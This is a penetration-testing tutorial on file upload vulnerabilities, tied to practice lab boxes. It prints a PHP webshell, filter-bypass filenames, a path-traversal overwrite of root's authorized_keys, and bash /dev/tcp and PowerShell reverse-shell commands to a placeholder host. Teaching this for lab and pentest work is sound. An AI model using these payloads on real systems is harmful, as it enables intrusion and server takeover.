File Upload Vulnerabilities

Uploading Code

Many web apps let you upload files: profile pictures, documents, resumes, attachments. If the application doesn’t properly validate what you upload, you can upload a webshell instead of an image.

Access the uploaded file via its URL, and the server executes your code.

An unrestricted file upload is often the fastest path to a shell. Upload a webshell, visit it, run commands.


Three Categories

File upload vulnerabilities fall into three groups:

  1. Executable uploads - Upload a PHP/ASP/JSP file, access it via URL, it executes. The simplest and most dangerous.

  2. Upload + directory traversal - The upload itself doesn’t execute, but you control the filename path, letting you write files to dangerous locations.

  3. Client-side attacks - Upload a malicious .docx or .svg that executes when another user opens it. Requires user interaction, less reliable.

The first two are what matter most for penetration testing.


Executable File Uploads

The Attack

  1. Find an upload form (avatar, attachment, file manager)
  2. Upload a webshell instead of a legitimate file
  3. Find where it was saved (usually /uploads/, /media/, or similar)
  4. Access it via URL to execute commands

Webshells

The simplest PHP webshell is one line:

<?php system($_GET['cmd']); ?>

Save it as shell.php, upload it, then:

curl http://target.com/uploads/shell.php?cmd=whoami
# www-data

For more sophisticated webshells, the SecLists webshells collection has shells for PHP, ASP, ASPX, JSP, CFM, and Perl. On Kali, these are pre-installed at /usr/share/webshells/.

Match the webshell to the target’s technology stack. PHP webshell for Apache/PHP, ASPX for IIS/.NET, JSP for Tomcat/Java.


Finding the Upload Location

After uploading, you need to know where the file landed. Try:

  • Check the response - the app might say “uploaded to /uploads/shell.php”
  • Inspect the page source - look for <img src="/uploads/..."> or similar references
  • Common paths - /uploads/, /media/, /images/, /files/, /attachments/
  • Brute-force with Gobuster - gobuster dir -u http://target.com -w wordlist.txt
  • Upload a normal file first - see where it appears, then upload the webshell to the same place

Bypassing Extension Filters

Most applications try to block dangerous extensions like .php. But filters are often poorly implemented.


Alternative PHP Extensions

PHP can execute files with several extensions. If .php is blocked, try:

ExtensionWhy it works
.phtmlSupported in most Apache configs
.php7PHP 7 specific extension
.phpsPHP source, sometimes executed
.pHPCase variation, bypasses case-sensitive filters
.PhpAnother case variation

Other Bypass Techniques

TechniqueExampleHow it works
Case variationshell.pHPFilter checks lowercase only
Double extensionshell.php.jpgFilter checks last extension only
Null byteshell.php%00.jpgOlder systems truncate at null byte
Upload then renameUpload .txt, rename to .phpIf app has a file manager
Content-Type spoofChange header to image/jpegFilter checks MIME type, not content

Testing Methodology

  1. Upload a normal file (.txt or .jpg) to confirm the upload works
  2. Try uploading .php directly
  3. If blocked, try alternative extensions one by one
  4. If all extensions blocked, try case variations
  5. Check the error message carefully - it may reveal how the filter works

Error messages are your friend. “PHP files are not allowed” tells you it’s checking by extension. “Invalid file type” might mean it’s checking content. Each tells you what to bypass.


Non-Executable Uploads

Sometimes you can upload files, but the server won’t execute them. Maybe it doesn’t run PHP, or the upload directory has execution disabled.

You can still cause damage by controlling where the file is written.


Directory Traversal in the Filename

In Burp, intercept the upload request and modify the filename in the multipart form data:

Content-Disposition: form-data; name="myFile"; filename="../../../../root/.ssh/authorized_keys"

Instead of saving to /uploads/authorized_keys, the server writes to /root/.ssh/authorized_keys.


Overwriting authorized_keys

This is the classic non-executable upload attack:

1. Generate an SSH keypair:

ssh-keygen -f fileup

2. Prepare the authorized_keys file:

cat fileup.pub > authorized_keys

3. Upload it with a traversal filename in Burp:

filename="../../../../root/.ssh/authorized_keys"

4. SSH in with your private key:

chmod 400 fileup
ssh -i fileup root@target -p 2222

No code execution needed. You overwrote a critical system file.

Think beyond code execution. If you can write files anywhere, you can overwrite configs, cron jobs, SSH keys, or application files. Sometimes that’s more powerful than a webshell.


From Webshell to Reverse Shell

A webshell gives you command execution, but it’s clunky. One command at a time, no interactivity, might time out. Upgrade to a reverse shell.


On Linux

Start a listener on your machine:

nc -nvlp 4444

Trigger the reverse shell via the webshell:

curl "http://target.com/uploads/shell.php?cmd=bash%20-c%20'bash%20-i%20>%26%20/dev/tcp/YOUR_IP/4444%200>%261'"

On Windows

Windows reverse shells typically use PowerShell. Encode the payload to avoid special character issues:

  1. Write the PowerShell reverse shell one-liner
  2. Base64-encode it using PowerShell or an online converter
  3. Execute via the webshell:
curl "http://target.com/uploads/shell.pHP?cmd=powershell%20-enc%20BASE64_STRING"

Web Server Permissions

The commands you run through a webshell execute as the web server’s user:

OSUserTypical privileges
Linux (Apache)www-dataLow privilege
Linux (custom app)Sometimes rootFull access (misconfiguration)
Windows (IIS)Network Service or App Pool IdentityLow privilege
Windows (XAMPP)Sometimes AdministratorFull access

Check who you’re running as immediately. Run whoami and id (Linux) or whoami (Windows). If you’re already root/admin, you’re done. If not, you need privilege escalation.


Practice Boxes

  • Vulnversity - File upload with extension filter bypass leading to reverse shell
  • Shocker - Web exploitation leading to shell access